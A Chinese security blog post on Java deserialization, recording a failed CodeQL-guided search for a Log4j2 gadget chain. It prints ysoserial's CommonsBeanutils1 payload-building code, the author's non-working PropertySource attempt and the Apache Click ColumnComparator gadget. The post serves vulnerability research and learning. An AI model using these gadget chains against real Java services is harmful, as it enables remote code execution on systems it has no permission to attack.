惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
Security @ Cisco Blogs
H
Hacker News: Front Page
P
Privacy International News Feed
N
News and Events Feed by Topic
T
Threatpost
Simon Willison's Weblog
Simon Willison's Weblog
S
Schneier on Security
K
Kaspersky official blog
S
Secure Thoughts
V2EX - 技术
V2EX - 技术
Security Latest
Security Latest
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
www.infosecurity-magazine.com
www.infosecurity-magazine.com
C
CERT Recently Published Vulnerability Notes
L
Lohrmann on Cybersecurity
Jina AI
Jina AI
P
Proofpoint News Feed
AI
AI
雷峰网
雷峰网
T
Tailwind CSS Blog
Engineering at Meta
Engineering at Meta
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Recent Commits to openclaw:main
Recent Commits to openclaw:main
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
博客园 - 叶小钗
Webroot Blog
Webroot Blog
Apple Machine Learning Research
Apple Machine Learning Research
SecWiki News
SecWiki News
罗磊的独立博客
N
Netflix TechBlog - Medium
Martin Fowler
Martin Fowler
Google DeepMind News
Google DeepMind News
Cyberwarzone
Cyberwarzone
MongoDB | Blog
MongoDB | Blog
博客园 - Franky
Schneier on Security
Schneier on Security
The GitHub Blog
The GitHub Blog
S
Security Affairs
Blog — PlanetScale
Blog — PlanetScale
Last Week in AI
Last Week in AI
P
Proofpoint News Feed
月光博客
月光博客
D
Docker
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
Securelist
W
WeLiveSecurity
T
Troy Hunt's Blog
A
Arctic Wolf
博客园 - 司徒正美

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
记一次Log4j失败的Gadget挖掘记录 · SUMSEC
2023-01-09 · via SumSec's Blog

前言

   最开始我在《CodeQL与Shiro550的碰撞》的文章中提出了基于p牛写的依赖shiro1.2.4原生依赖CommonsBeanutils的漏洞gadget挖掘出了更多版本的漏洞gadget。之后我在使用CodeQL研究JNDI的漏洞触发类的挖掘办法,某天晚上玩着手机就突然想到如果我将这个方法用到挖掘漏洞gadget上呢?会有什么效果呢?虽然是一次失败的经历,但让笔者我对挖掘漏洞Gadget有了进一步深刻的理解。


CommonsBeanutils

   本文尝试都是基于CommonsBeanutils的gadget的基础之上去挖掘新的gadget(对这个gadget非常熟悉的原因。)

首先对CommonsBeanutils1的gadget的进行分析,主要找出那些是可以变动的,那些是不变的点。这段代码是ysoserial中的CommonsBeanutils一个gadget。

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		final BeanComparator comparator = new BeanComparator("lowestSetBit");
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));
	    Reflections.setFieldValue(comparator, "property", "outputProperties");
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = templates;
		return queue;
	}

逐行代码分析

这行代码是生成Templates命令的

final Object templates = Gadgets.createTemplatesImpl(command);

BeanComparator是CommonsBeanutils1的chain的漏洞触发点,也可以是直接new BeanComparator(); 。P牛提出的基于jdk内置的CommonsBeanutils的gadget chain写法是 new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); ,BeanComparator是支持传入Comparator,如果不写就默认调用commons collection中的ComparableComparator。这里comparator在整个的gadget chain中是没有任何的调用,所以才能被随意的替换成其他的comparator。

final BeanComparator comparator = new BeanComparator("lowestSetBit");

image-20211102170436950

PrioritiyQueue是一个优先队列,配合TemplatesImpl的组合反序列化漏洞chain。为了比较优先级,PrioritiyQueue除了使用内置的comparator之外也是支持传入comparator。queue.add()随意添加两个变量是为了序列化做到兼容,反序列化的时候queue队列中的对象就是恶意TemplatesImpl对象。

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1")); // queue.add("1"); 
queue.add(new BigInteger("1")); // queue.add("1"); 

通过反射方式修改comparator的字段proerty的值为outputProperties, 这个点是TemplatesImpl漏洞触发的必要条件。

Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;

Gadget 构造条件

分析gadget的构造条件和构造过程,能够帮助更好从挖掘者的角度分析体会如何去挖掘一个全新的gadget。但如果从0开始构造个全新的漏洞利用方式对于目前的我来说很难。但从局部替换的方式出发,寻找可变量永恒量分析每一行的深层含义,这将大大减低一个漏洞gadget挖掘难度。

#### CommonsBeanutils构造条件

CommonsBeanutils使用的是PriorityQueue与TemplatesImpl组合的方式,前面提到PriorityQueue是支持传入Comparator。PriorityQueue组合特点就是在调用siftDownUsingComparator方法时会跳到BeanComparator中的Compare方法,在Comparator方法中获取到前面通过反射修改的property的值outputProperties。这个时触发TemplatesImpl中的getOutputProperties的调用,最终在getTransletInstance进行一个强制的类型转化触发漏洞。

final BeanComparator comparator = new BeanComparator("lowestSetBit");

触发TemplatesImpl中的getOutputProperties的调用

image-20211103110157384

getTransletInstance进行一个强制的类型转化触发漏洞

image-20211103110248123

总结

CommonsBeanutils这个gadget chain核心可以分为BeanComparator和PriorityQueue两个部分,两个部分有三种组合方式,本次挖掘将BeanComparator定义为了可变量,PriorityQueue定义为了永恒量。(也是最简单的一种组合方式)


apache log4j2 – 日志组件

可变量 – BeanComparator

分析一下BeanComparator在本次gadget做了那些事情,首先作为Comparator传入PriorityQueue中。那来看一下作为PriorityQueue的Comparator有那些要求,首先毋庸置疑得实现Serializable接口。然后作为一个comparator也得实现Java.util.Comparator接口。

image-20211103143011606

其次得实现compare方法

image-20211103143454090


log4j2 – PropertySource

这里使用CodeQL去挖掘log4j2组件时的QL规则,最终找到三个类。

import java

class MySerializableImpl extends ClassOrInterface{
	MySerializableImpl(){
		this.getName()="Comparator"
  }
}

predicate isMyClass( Class m){
	m.getASourceSupertype() instanceof MySerializableImpl
	and m.getASourceSupertype() instanceof TypeSerializable
}

from Class c
where isMyClass(c)
select c

image-20211103151036584

看源码发现,笔者发现PropertySource接口更贴近于所需要的类。下面这段代码是笔者当时构造的一个漏洞gadget chain,很遗憾的是失败了的。

public class PropertySources {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public void getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Properties properties = new Properties();
        org.apache.logging.log4j.util.PropertiesPropertySource propertySource1 = new org.apache.logging.log4j.util.PropertiesPropertySource(properties);
        org.apache.logging.log4j.util.PropertySource propertySource2 = new org.apache.logging.log4j.util.PropertySource() {
            @Override
            public int getPriority() {
                return 0;
            }
        };
        Comparator comparator =  new org.apache.logging.log4j.util.PropertySource.Comparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(propertySource2);
        queue.add(propertySource2);
        setFieldValue(propertySource1, "properties", properties);
//        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
    }
}

失败原因分析

comparator实现compare方法达不到需求,方法的参数类型限制死了只能为PropertySource类。在BeanComparator类中compare方法是一个泛型T,这些需要将TemplatesImpl传入进去,然后得调用getProperty方法获取outputProperties值。这里comparator有getProperty方法,但这个方法返回值是int类型,而不是String类型因此无法获取到outputProperties的值进而无法触发反序列化漏洞。

image-20211103153535785


apache click

在挖掘失败之后笔者尝试去ysoserial源码里面验证自己想法,发现在2021年年初的时候作者合并了一个pr里面就完美验证了想法。这里做个简单验证分析流程。

  1. comparator首先实现了java.util.Comparator和Serializable接口
  2. compare方法参数是Object类型,所以的类的父类都是Object类所以也能满足需求
  3. 在compare方法里面有getProperty方法
static class ColumnComparator implements Comparator, Serializable {
    private static final long serialVersionUID = 1L;
    protected int ascendingSort;
    protected final Column column;

    public ColumnComparator(Column column) {
        this.column = column;
    }

    public int compare(Object row1, Object row2) {
        this.ascendingSort = this.column.getTable().isSortedAscending() ? 1 : -1;
        Object value1 = this.column.getProperty(row1);
        Object value2 = this.column.getProperty(row2);
        if (value1 instanceof Comparable && value2 instanceof Comparable) {
            return !(value1 instanceof String) && !(value2 instanceof String) ? ((Comparable)value1).compareTo(value2) * this.ascendingSort : this.stringCompare(value1, value2) * this.ascendingSort;
        } else if (value1 != null && value2 != null) {
            return value1.toString().compareToIgnoreCase(value2.toString()) * this.ascendingSort;
        } else if (value1 != null && value2 == null) {
            return 1 * this.ascendingSort;
        } else {
            return value1 == null && value2 != null ? -1 * this.ascendingSort : 0;
        }
    }

在compare方法里面有getProperty方法,这点想张开讲讲。在click的gadget chain中有一个setName操作,这里操作在反序列化的时候调用getName方法的时候会返回outputProperties.

column.setName("outputProperties");

进而在调用getProperty方法的调用PropertyUtils触发反序列化漏洞。

image-20211103161221805


click tips

ysoserial里面获取Comparator是通过反射的方式,但其实在Colunm中是提供了getComparator方法,故其实不需要反射调用,直接调用即可。

Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
Comparator comparator = column.getComparator();

image-20211103162237208

总结

   一个完美的漏洞gadget chain的每一步都是必不可少,具体到每一个细节。第一次尝试挖掘漏洞gadget chain虽然失败了,但是学到了很多知识点,对挖掘gadget chain积累一点小tips吧。目前个人想法,如果要对去挖掘一个全新的漏洞gadget chain,这难度不亚于唐僧取经。这也使得笔者对每一个gadget chain有更多敬意。。。本文只是个人探索gadget chain的一次小尝试记录文,如果有错误,还请斧正。


参考

https://lgtm.com/query/5500894352545410828/